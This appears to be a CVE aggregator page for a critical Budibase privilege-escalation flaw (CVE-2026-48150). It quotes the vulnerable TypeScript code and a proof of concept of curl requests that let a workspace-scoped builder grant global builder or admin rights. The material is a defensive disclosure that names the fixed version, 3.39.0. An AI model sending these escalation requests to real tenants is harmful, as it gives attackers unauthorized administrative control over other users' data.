Every CVE Search/ Get API key

CVE-2026-48150

Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

9.0 CriticalFix available

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
Low

Exploit likelihood

0.29%Up 0.2 points since May 28, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.0

Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

Record
CVE-2026-48150
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-915
Updated
2026-11-02
EUVDEUVD-2026-32590 9.0

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

Record
EUVD-2026-32590
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-6xp4-cf37-ppjh 9.0

Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

Summary

/api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature.

Details

Controller (packages/server/src/api/controllers/public/roles.ts:13-17):

export async function assignAppBuilder(ctx: Ctx) {
  const { userIds, ...assignmentProps } = ctx.request.body
  await sdk.publicApi.roles.assign(userIds, assignmentProps)
  ctx.body = { data: { userIds } }
}

Nothing filters assignmentProps. The request body's builder and admin keys flow directly into the SDK.

SDK (packages/pro/src/sdk/publicApi/roles.ts:17-47):

export async function assign(userIds: string[], opts: AssignmentOpts) {
  if (!(await isExpandedPublicApiEnabled())) {
    throw new Error("Unable to assign roles - license required.")
  }
  const users = await userDB.bulkGet(userIds)
  for (let user of users) {
    // ...
    if (opts.builder) {
      user.builder = { global: true }
    }
    if (opts.admin) {
      user.admin = { global: true }
    }
  }
  await userDB.bulkUpdate(users)
}

No check that the caller already holds the privilege they are granting. user.builder is overwritten unconditionally, which also strips any existing builder.apps scope from the target.

Route guard (packages/backend-core/src/middleware/builderOrAdmin.ts:6-20):

export async function builderOrAdmin(ctx: UserCtx, next: any) {
  if (ctx.internal || isAdmin(ctx.user)) { return next() }
  const workspaceId = await getWorkspaceIdFromCtx(ctx)
  if (!workspaceId && !env.isWorker()) {
    ctx.throw(403, "This request required a workspace id.")
  } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {
    ctx.throw(403, "Admin/Builder user only endpoint.")
  } else if (workspaceId && !isBuilder(ctx.user, workspaceId)) {
    ctx.throw(403, "Workspace Admin/Builder user only endpoint.")
  }
  // passes
}

isBuilder(user, workspaceId) returns true for any user whose builder.apps array contains the workspace id, even when builder.global is unset. The endpoint therefore trusts an app-level builder with a global-scope grant.

Proof of Concept

Tested on Budibase 3.35.8 (master at f960e361). The public API license gate at roles.ts:18 was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land.

Step 1: the admin creates two users. Alice is a workspace-scoped builder on an app (builder.apps: [app_...], builder.global unset, admin.global unset). Victim is a BASIC user.

Step 2: Alice calls GET /api/global/self/api_key to mint an API key tied to her identity:

curl -sS -b alice "$BASE/api/global/self/api_key"
# → {"apiKey":"80f28...","userId":"us_dab...","createdAt":"..."}

Step 3: Alice calls /api/public/v1/roles/assign with the victim's id and builder: true. She scopes the request to her own app via x-budibase-app-id so builderOrAdmin passes:

curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
  -H "Content-Type: application/json" \
  -H "x-budibase-api-key: $ALICE_APIKEY" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"userIds":["us_70b6...victim"],"builder":true}'

Admin verifies:

BEFORE: builder: {'global': False} admin: {'global': False}
ATTACK: HTTP 200…
Record
GHSA-6xp4-cf37-ppjh
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-915
Updated
2026-11-02
NVD 9.0

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

Record
CVE-2026-48150
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-915
Updated
2026-11-02
OSV 9.0

Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

Record
CVE-2026-48150
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-915
Updated
2026-11-02
OSVGHSA-6xp4-cf37-ppjh 9.0

Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

Summary

/api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature.

Details

Controller (packages/server/src/api/controllers/public/roles.ts:13-17):

export async function assignAppBuilder(ctx: Ctx) {
  const { userIds, ...assignmentProps } = ctx.request.body
  await sdk.publicApi.roles.assign(userIds, assignmentProps)
  ctx.body = { data: { userIds } }
}

Nothing filters assignmentProps. The request body's builder and admin keys flow directly into the SDK.

SDK (packages/pro/src/sdk/publicApi/roles.ts:17-47):

export async function assign(userIds: string[], opts: AssignmentOpts) {
  if (!(await isExpandedPublicApiEnabled())) {
    throw new Error("Unable to assign roles - license required.")
  }
  const users = await userDB.bulkGet(userIds)
  for (let user of users) {
    // ...
    if (opts.builder) {
      user.builder = { global: true }
    }
    if (opts.admin) {
      user.admin = { global: true }
    }
  }
  await userDB.bulkUpdate(users)
}

No check that the caller already holds the privilege they are granting. user.builder is overwritten unconditionally, which also strips any existing builder.apps scope from the target.

Route guard (packages/backend-core/src/middleware/builderOrAdmin.ts:6-20):

export async function builderOrAdmin(ctx: UserCtx, next: any) {
  if (ctx.internal || isAdmin(ctx.user)) { return next() }
  const workspaceId = await getWorkspaceIdFromCtx(ctx)
  if (!workspaceId && !env.isWorker()) {
    ctx.throw(403, "This request required a workspace id.")
  } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {
    ctx.throw(403, "Admin/Builder user only endpoint.")
  } else if (workspaceId && !isBuilder(ctx.user, workspaceId)) {
    ctx.throw(403, "Workspace Admin/Builder user only endpoint.")
  }
  // passes
}

isBuilder(user, workspaceId) returns true for any user whose builder.apps array contains the workspace id, even when builder.global is unset. The endpoint therefore trusts an app-level builder with a global-scope grant.

Proof of Concept

Tested on Budibase 3.35.8 (master at f960e361). The public API license gate at roles.ts:18 was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land.

Step 1: the admin creates two users. Alice is a workspace-scoped builder on an app (builder.apps: [app_...], builder.global unset, admin.global unset). Victim is a BASIC user.

Step 2: Alice calls GET /api/global/self/api_key to mint an API key tied to her identity:

curl -sS -b alice "$BASE/api/global/self/api_key"
# → {"apiKey":"80f28...","userId":"us_dab...","createdAt":"..."}

Step 3: Alice calls /api/public/v1/roles/assign with the victim's id and builder: true. She scopes the request to her own app via x-budibase-app-id so builderOrAdmin passes:

curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
  -H "Content-Type: application/json" \
  -H "x-budibase-api-key: $ALICE_APIKEY" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"userIds":["us_70b6...victim"],"builder":true}'

Admin verifies:

BEFORE: builder: {'global': False} admin: {'global': False}
ATTACK: HTTP 200…
Record
GHSA-6xp4-cf37-ppjh
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-915
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@budibase/server
npm
before 3.39.0
3.39.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-48150 is a critical vulnerability (CVSS 9.0) in Budibase, published May 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in @budibase/server 3.39.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open